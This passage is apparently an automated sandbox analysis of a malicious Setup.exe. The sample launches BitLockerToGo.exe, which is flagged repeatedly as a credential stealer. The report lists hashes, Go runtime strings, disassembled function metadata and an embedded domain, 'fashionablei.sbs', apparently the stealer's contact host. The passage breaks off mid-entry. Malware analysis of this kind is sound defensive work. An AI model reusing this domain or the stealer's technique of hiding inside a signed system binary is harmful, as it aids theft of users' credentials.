2024-10-26 14:02:31 UTC	1016	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 14:02:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iu00gv3qnv898m7kuesht8hci2; expires=Wed, 19 Feb 2025 07:49:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LY4tvM64NH7WKQ5DI4m9biwL39cLD2Wdcfe8%2BE6binht2vPKrdpt%2Bi6eeOAKKWEZ5OHXEYynNfpTlvK3Xb%2F%2FIDBlz%2Fig%2FkrEBLpUJrLh55vKiAZysOE%2BJBd9DkRwsAnvnEMX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8afc085e1446a1-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1883&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1022&delivery_rate=1456740&cwnd=251&unsent_bytes=0&cid=c06fa3ea36a73221&ts=725&x=0"
2024-10-26 14:02:31 UTC	54	IN	Data Raw: 33 30 0d 0a 2f 69 49 69 56 5a 78 58 72 43 6d 37 4c 4c 6b 6e 49 68 6e 79 2b 4e 72 7a 68 51 64 4c 69 73 45 63 73 42 6f 63 59 47 38 34 34 48 6d 6c 66 77 3d 3d 0d 0a Data Ascii: 30/iIiVZxXrCm7LLknIhny+NrzhQdLisEcsBocYG844Hmlfw==
2024-10-26 14:02:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	10:02:02
Start date:	26/10/2024
Path:	C:\Users\user\Desktop\Setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Setup.exe"
Imagebase:	0x7d0000
File size:	10'651'136 bytes
MD5 hash:	C5F86099F8C1B5B8A8B5C9C884B764A4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:02:09
Start date:	26/10/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Imagebase:	0x8b0000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.2368653057.0000000003295000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.2337072175.000000000329B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.2336723188.0000000003295000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.2336325859.0000000003295000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.2368840988.000000000329B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.2353542738.0000000003295000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.2378788683.00000000032A2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.2336902657.0000000003295000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.2379061584.00000000032A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.2379153647.00000000032AC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.2305818543.000000000329D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.2353697188.000000000329B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.2292544012.000000000329D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.2292620834.000000000329D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.2336147464.0000000003295000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Function 00809BA0 Relevance: 11.4, Strings: 9, Instructions: 183COMMON

Download Yara Rule

Strings

runtime.minit: duplicatehandle failed_cgo_notify_runtime_init_done missingstartTheWorld: inconsistent mp->nextpruntime: unexpected SPWRITE function all goroutines are asleep - deadlock!reflect: Bits of non-arithmetic Type reflect: NumField of non-struct type r, xrefs: 00809ED6
runtime: VirtualQuery failed; errno=runtime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm: P required for spinning=true) is not Grunnable or Gscanrunnableruntime: bad notifyList size - sync=accessed data from freed user arena runtime:, xrefs: 00809DEC
bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatch<unknown:%d>Sfixed32KindSfixed64Kindmessage_typejava_packageoptimize, xrefs: 00809DC5
%, xrefs: 00809EDF
runtime: CreateWaitableTimerEx failed; errno=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zeroreflect: nil type passed to Type.AssignableToreflect: internal error: invalid method indexcontext: internal error: missing ca, xrefs: 00809E47
CreateWaitableTimerEx when creating timer failedruntime.preemptM: duplicatehandle failed; errno=runtime: waitforsingleobject wait_failed; errno=reflect: CallSlice with too many input argumentsstrconv: illegal AppendFloat/FormatFloat bitSizenot enough significa, xrefs: 00809E7B
) @s -> Pn=][}]i)> +[])(WS]), xrefs: 00809DAA
runtime.minit: duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zeroreflect: nil type passed to Type.AssignableToreflect: internal error: invalid me, xrefs: 00809EA2
VirtualQuery for stack base failedforEachP: sched.safePointWait != 0schedule: spinning with local workruntime: g is running but p is notdoaddtimer: P already set in timerreflect: Method index out of rangereflect: ChanDir of non-chan type reflect: Field of non-, xrefs: 00809E20

Memory Dump Source

Source File: 00000000.00000002.2265446278.00000000007D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000000.00000002.2265429980.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2265735601.0000000000C71000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266091816.0000000001148000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266109862.000000000114B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266137854.000000000114C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266149573.000000000114D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266163048.000000000114F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266173868.0000000001150000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266196444.0000000001184000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266210198.0000000001190000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266221290.0000000001191000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266221290.000000000119B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266221290.00000000011BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266221290.00000000011C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266267838.00000000011C5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266278190.00000000011C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266278190.0000000001202000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7d0000_Setup.jbxd

Similarity

API ID:
String ID: %$) @s -> Pn=][}]i)> +[])(WS])$CreateWaitableTimerEx when creating timer failedruntime.preemptM: duplicatehandle failed; errno=runtime: waitforsingleobject wait_failed; errno=reflect: CallSlice with too many input argumentsstrconv: illegal AppendFloat/FormatFloat bitSizenot enough significa$VirtualQuery for stack base failedforEachP: sched.safePointWait != 0schedule: spinning with local workruntime: g is running but p is notdoaddtimer: P already set in timerreflect: Method index out of rangereflect: ChanDir of non-chan type reflect: Field of non-$bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatch<unknown:%d>Sfixed32KindSfixed64Kindmessage_typejava_packageoptimize$runtime.minit: duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zeroreflect: nil type passed to Type.AssignableToreflect: internal error: invalid me$runtime.minit: duplicatehandle failed_cgo_notify_runtime_init_done missingstartTheWorld: inconsistent mp->nextpruntime: unexpected SPWRITE function all goroutines are asleep - deadlock!reflect: Bits of non-arithmetic Type reflect: NumField of non-struct type r$runtime: CreateWaitableTimerEx failed; errno=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zeroreflect: nil type passed to Type.AssignableToreflect: internal error: invalid method indexcontext: internal error: missing ca$runtime: VirtualQuery failed; errno=runtime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm: P required for spinning=true) is not Grunnable or Gscanrunnableruntime: bad notifyList size - sync=accessed data from freed user arena runtime:
API String ID: 0-1990889754
Opcode ID: a259504f76a4691328d88297383af83f8c5b19774ed1e5f2fe8a9615d3213fa5
Instruction ID: 6c69822a8468435b204301b4835e487c4f2f73123bd12fc077caeea2e77d5957
Opcode Fuzzy Hash: a259504f76a4691328d88297383af83f8c5b19774ed1e5f2fe8a9615d3213fa5
Instruction Fuzzy Hash: 4C91BBB45097418FD394EF68C996B5ABBE0FB88704F008D2DE998C7392DB74D9488B53

Function 0081A210 Relevance: 6.3, Strings: 5, Instructions: 83COMMON

Download Yara Rule

Strings

releasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartunexpected key value typeExpandEnvironmentStringsWleading_de, xrefs: 0081A347
releasep: invalid argcheckdead: runnable gruntime: newstack at runtime: newstack sp=runtime: confused by pcHeader.textStart= timer data corruptionjava_generic_servicesunknown ABI part kind of unexported methodunexpected value stepreflect.Value.SetZeroreflect., xrefs: 0081A35D
releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatch<unknown:%d>Sfixed32KindSfixed64Kindmessage_typejava_packageoptimize_forswift_prefixruby_packagedebug_redactdouble_valuestring_valueverificationis_extension has no , xrefs: 0081A2A5
p->status= in status idleprocs= gcwaiting= schedtick= timerslen= mallocing=bad timedivfloat64nan1float64nan2float64nan3float32nan2GOTRACEBACK) at entry+ (targetpc= , plugin: runtime: g : frame.sp=created by Fixed32KindFixed64KindMessageKindnested_typeoneof_i, xrefs: 0081A313
m->p= p->m=SCHED curg= ctxt: min= max= (...) base proto2proto3Proto2Proto3sint32uint32sint64uint64doublesyntaxmethodnumberpackedjstypeuint16structchan<-<-chan ValueSTRINGNUMBERFormat[]byte, val GetAceGetACP390625CommonArabicBrahmiCarianChakmaCopticGothicHa, xrefs: 0081A2C7

Memory Dump Source

Source File: 00000000.00000002.2265446278.00000000007D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000000.00000002.2265429980.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2265735601.0000000000C71000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266091816.0000000001148000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266109862.000000000114B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266137854.000000000114C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266149573.000000000114D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266163048.000000000114F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266173868.0000000001150000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266196444.0000000001184000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266210198.0000000001190000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266221290.0000000001191000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266221290.000000000119B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266221290.00000000011BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266221290.00000000011C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266267838.00000000011C5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266278190.00000000011C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2266278190.0000000001202000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7d0000_Setup.jbxd

Similarity

API ID:
String ID: m->p= p->m=SCHED curg= ctxt: min= max= (...) base proto2proto3Proto2Proto3sint32uint32sint64uint64doublesyntaxmethodnumberpackedjstypeuint16structchan<-<-chan ValueSTRINGNUMBERFormat[]byte, val GetAceGetACP390625CommonArabicBrahmiCarianChakmaCopticGothicHa$ p->status= in status idleprocs= gcwaiting= schedtick= timerslen= mallocing=bad timedivfloat64nan1float64nan2float64nan3float32nan2GOTRACEBACK) at entry+ (targetpc= , plugin: runtime: g : frame.sp=created by Fixed32KindFixed64KindMessageKindnested_typeoneof_i$releasep: invalid argcheckdead: runnable gruntime: newstack at runtime: newstack sp=runtime: confused by pcHeader.textStart= timer data corruptionjava_generic_servicesunknown ABI part kind of unexported methodunexpected value stepreflect.Value.SetZeroreflect.$releasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartunexpected key value typeExpandEnvironmentStringsWleading_de$releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatch<unknown:%d>Sfixed32KindSfixed64Kindmessage_typejava_packageoptimize_forswift_prefixruby_packagedebug_redactdouble_valuestring_valueverificationis_extension has no
API String ID: 0-333129057
Opcode ID: 06aa239f669b86b1a21fc667c58b8d47990be0013a7224762422f6b2027c2a93
Instruction ID: c7b113769372f3350926e9ed535410c011aedacd7fdb089e4adb5d0069138ee6
Opcode Fuzzy Hash: 06aa239f669b86b1a21fc667c58b8d47990be0013a7224762422f6b2027c2a93
Instruction Fuzzy Hash: 4041DFB8609701CFD354EF68C495A5ABBE4FF88704F01892DE988C7752D7359888CBA3

Analysis Process: BitLockerToGo.exePID: 5232, Parent PID: 6228COMMON

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	63%
Total number of Nodes:	238
Total number of Limit Nodes:	23

Executed Functions

Function 0043C0D9 Relevance: 25.4, APIs: 8, Strings: 6, Instructions: 940memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(=k=i), ref: 0043C130
SysAllocString.OLEAUT32(39F13B81), ref: 0043C216
VariantInit.OLEAUT32(?), ref: 0043C290
VariantClear.OLEAUT32(00000008), ref: 0043C407
SysFreeString.OLEAUT32(?), ref: 0043C42A
SysFreeString.OLEAUT32(00000000), ref: 0043C431
SysFreeString.OLEAUT32(?), ref: 0043C445
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0043C489

Strings

B3I5, xrefs: 0043C2A6
W7JI, xrefs: 0043C2AE
'C0E, xrefs: 0043C2C6
DG, xrefs: 0043C2CE
=k=i, xrefs: 0043C12B, 0043C29E, 0043C12F
3O,A, xrefs: 0043C2BE

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: String$Free$AllocVariant$ClearInformationInitVolume
String ID: 'C0E$3O,A$=k=i$B3I5$DG$W7JI
API String ID: 4011520403-410534165
Opcode ID: 83e6bd830ae893991964c051fa8015f9df1bd68645f063cea900aa1acf3b4e6c
Instruction ID: c43a8e0728232324b65fb1c6ca42d79df9feb465feadac5a6717b2ba81da6768
Opcode Fuzzy Hash: 83e6bd830ae893991964c051fa8015f9df1bd68645f063cea900aa1acf3b4e6c
Instruction Fuzzy Hash: 3252233A618310CBD7048F38E89176BB7E1FF8A711F06897DE885872A1E779D805CB56

Function 00431A22 Relevance: 15.5, APIs: 2, Strings: 6, Instructions: 1454COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 00431DDC

Strings

jdYI, xrefs: 00431A33
#v, xrefs: 00432A9F
mgnd, xrefs: 00431F63
f@~U, xrefs: 0043298C
tp&q, xrefs: 00431F59
efg`, xrefs: 00432162

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: efg`$f@~U$jdYI$mgnd$tp&q$#v
API String ID: 3960555810-346337825
Opcode ID: e3de3e4b24e51b257f4bfc252ee9038a3cb8b631afc01c2a91e274df82fb307e
Instruction ID: 3faabc4c85647a180ac15ff3734154f7b615e599f92bb333f1f6d033f930bed5
Opcode Fuzzy Hash: e3de3e4b24e51b257f4bfc252ee9038a3cb8b631afc01c2a91e274df82fb307e
Instruction Fuzzy Hash: 45A21770605781CBE3258F39C9917A3FBE2AF66304F18996EC0EB87392D779A405CB15

Function 004108F0 Relevance: 14.1, Strings: 11, Instructions: 385
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

P[, xrefs: 0041093A
u7|5, xrefs: 00410A00
k?s=, xrefs: 004109EA
'\, xrefs: 00410932
HI, xrefs: 00410D6C
fashionablei.sbs, xrefs: 00410C10
3{5y, xrefs: 00410AA5
T3J1, xrefs: 00410A0B
u;H9, xrefs: 004109F5
ak, xrefs: 00410942
<K*I, xrefs: 00410AD1

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: '\$3{5y$<K*I$HI$P[$T3J1$ak$fashionablei.sbs$k?s=$u7|5$u;H9
API String ID: 0-2658241498
Opcode ID: 7d097c18f3231f46787215051e828af78f66b93b3d4a724f03a54cd514802c6d
Instruction ID: 4cd8b651a16eb6456e271dd4971ffb6bf74aa947fc79e1b2dd0630fc54ae98f4
Opcode Fuzzy Hash: 7d097c18f3231f46787215051e828af78f66b93b3d4a724f03a54cd514802c6d
Instruction Fuzzy Hash: 59E1B8B810D3809FE3648F61D8917AFBBE5FF92304F10892CE5D94B291D7789846CB5A

Function 0041E9B6 Relevance: 11.3, APIs: 1, Strings: 5, Instructions: 812
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p, xrefs: 0041EFAA
*, xrefs: 0041F087
efg`, xrefs: 0041E9DB, 0041E9F0
'';,, xrefs: 0041EB94
RA, xrefs: 0041EF43

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: '';,$*$RA$efg`$p
API String ID: 0-629963493
Opcode ID: bfc4409d9e674df04c5fa8ba42425c96c4e0cdf47a8f91f412441babf1e540c4
Instruction ID: 97bfb829358eda78b0a2e86de5e40bb306db0afd422d00d4e94616f13f66a572
Opcode Fuzzy Hash: bfc4409d9e674df04c5fa8ba42425c96c4e0cdf47a8f91f412441babf1e540c4
Instruction Fuzzy Hash: 814204B99083408FD724DF25D8817EBB7E1EFD6304F08893DE98987391E37998458B96

Function 00426744 Relevance: 10.2, Strings: 8, Instructions: 165
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

], xrefs: 00426759
g, xrefs: 0042680B
f, xrefs: 00426806
e, xrefs: 00426801
D, xrefs: 00426754
`, xrefs: 00426810
D, xrefs: 0042674F
Y, xrefs: 0042675E

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: D$D$Y$]$`$e$f$g
API String ID: 0-2576749144
Opcode ID: 02ebe7f3fbce085e07142b7d4d1b74cf9b13b2f1c7c5daa9401504f393d5c2dc
Instruction ID: 2aa74abdb440a73bdafcf6512293b9f0a20d68b3b4065953a6ce58c9518692b3
Opcode Fuzzy Hash: 02ebe7f3fbce085e07142b7d4d1b74cf9b13b2f1c7c5daa9401504f393d5c2dc
Instruction Fuzzy Hash: A361E37260C3908FE324CA28D45076BFBE1ABD5314F19892ED4DA87392D6798845CB47

Function 0042FF9C Relevance: 9.9, Strings: 7, Instructions: 1154COMMON

Download Yara Rule

Strings

Qi]E, xrefs: 0043022A
Xi]E, xrefs: 00430283
W], xrefs: 0043035A
V>8&, xrefs: 004303D2
nLv*, xrefs: 00430A6C
+4-m, xrefs: 004303C8
rkUI, xrefs: 004303DC

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: +4-m$Qi]E$V>8&$Xi]E$nLv*$rkUI$W]
API String ID: 0-3328146804
Opcode ID: a0191862c49e45d16bc55302d7cf38991b9f53e4146bdb9b88ff6176b483a78b
Instruction ID: 39c6613fc98f821380055a6f4e28b0fe0a24f411c2368b0dd974148cbbfa2289
Opcode Fuzzy Hash: a0191862c49e45d16bc55302d7cf38991b9f53e4146bdb9b88ff6176b483a78b
Instruction Fuzzy Hash: CF7208B0104B808AE735CF35C4A07A3BBE1AF57304F189A9DD1EB5B386D7796406CB59

Function 0043C3FA Relevance: 8.2, APIs: 5, Instructions: 703
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantClear.OLEAUT32(00000008), ref: 0043C407
SysFreeString.OLEAUT32(?), ref: 0043C42A
SysFreeString.OLEAUT32(00000000), ref: 0043C431
SysFreeString.OLEAUT32(?), ref: 0043C445
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0043C489

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: FreeString$ClearInformationVariantVolume
String ID:
API String ID: 1909038640-0
Opcode ID: 71be69b20a9aa69b7a418fb71b98169b7013c2ffce86529b7a77ec6780851cdd
Instruction ID: edf476f2a625d58aa93fb2c9927d3bf948b372f9c7b0cf51db09246d59ed6e28
Opcode Fuzzy Hash: 71be69b20a9aa69b7a418fb71b98169b7013c2ffce86529b7a77ec6780851cdd
Instruction Fuzzy Hash: 6422353A618310CFC7149F38E89136BB3E1FF4A711F0A587DD886972A1E7799805CB59

Function 0040DF60 Relevance: 5.3, Strings: 4, Instructions: 340
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\, xrefs: 0040E0E4
l, xrefs: 0040DFC5
PQ, xrefs: 0040E3A3
408C1E713E7F4D48600F1E7B1AEA093A, xrefs: 0040E017

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 408C1E713E7F4D48600F1E7B1AEA093A$PQ$\$l
API String ID: 0-2187080778
Opcode ID: c43ea5792dea3209016c82a06757ee77e6c1de758fd30baa2d45e6e95818d81f
Instruction ID: 3857095e7ed62b9518e2b16ac261b5426f0772a24fff54751ac0d0b8ded3fe89
Opcode Fuzzy Hash: c43ea5792dea3209016c82a06757ee77e6c1de758fd30baa2d45e6e95818d81f
Instruction Fuzzy Hash: C1C1CEB16083809FD314DF26C4917AFBBE1EB95308F148D2DE1D69B382D779850ACB5A

Function 0040F95D Relevance: 4.4, Strings: 3, Instructions: 643
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

TJ, xrefs: 0040FA16
PV, xrefs: 0041055E
L/k1, xrefs: 0040FAAC

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: L/k1$PV$TJ
API String ID: 0-1099943917
Opcode ID: 0a8b6c2f5177b474a3ab0dc48d96bf977bcaff1b7d611109b73e37c4cf42cf30
Instruction ID: 06e7419c956c37c5230e578abc2ecce459abd79771400ac095fbc6a1cb50a2d9
Opcode Fuzzy Hash: 0a8b6c2f5177b474a3ab0dc48d96bf977bcaff1b7d611109b73e37c4cf42cf30
Instruction Fuzzy Hash: 785251B9610700CFD324CF25C889BAABBB1FB05310F1A86B9E45A9F7A2D7749805CF55

Function 0043C0A8 Relevance: 3.7, APIs: 2, Instructions: 697
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysFreeString.OLEAUT32(?), ref: 0043C445
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0043C489

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: FreeInformationStringVolume
String ID:
API String ID: 983506298-0
Opcode ID: 01adfaf3a9ae37f28844a7f1596c611c900360e85342c8e9477854d4fa9b1d37
Instruction ID: c4e295b66921793371f5902472a32f4f423022190e7cf202a1b984c78e6f1003
Opcode Fuzzy Hash: 01adfaf3a9ae37f28844a7f1596c611c900360e85342c8e9477854d4fa9b1d37
Instruction Fuzzy Hash: BE22553A618310CBC7148F38EC9236BB3E1FF4A711F0A987DD885972A1E7799814CB49

Function 0042AF30 Relevance: 2.8, Strings: 2, Instructions: 299COMMON

Download Yara Rule

Strings

|, xrefs: 0042B1CF
y1~y, xrefs: 0042B1C7

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: y1~y$|
API String ID: 2994545307-42973575
Opcode ID: 636e8149f41042774ffad78567a1044e661cf97ea95adeaafbf4c3df556e531d
Instruction ID: c3fa20a278a062077c0dcd57f7c7808faa439016a7bb732a16d5cd3c6e9c5303
Opcode Fuzzy Hash: 636e8149f41042774ffad78567a1044e661cf97ea95adeaafbf4c3df556e531d
Instruction Fuzzy Hash: 85716AB2B043208BE7109F25EC92B3B7392EBD1744F59443EE88197395E77C9C15879A

Function 0043BB50 Relevance: 2.7, Strings: 2, Instructions: 245COMMON

Download Yara Rule

Strings

efg`, xrefs: 0043BDBB
efg`efg`, xrefs: 0043BCBD

Memory Dump Source

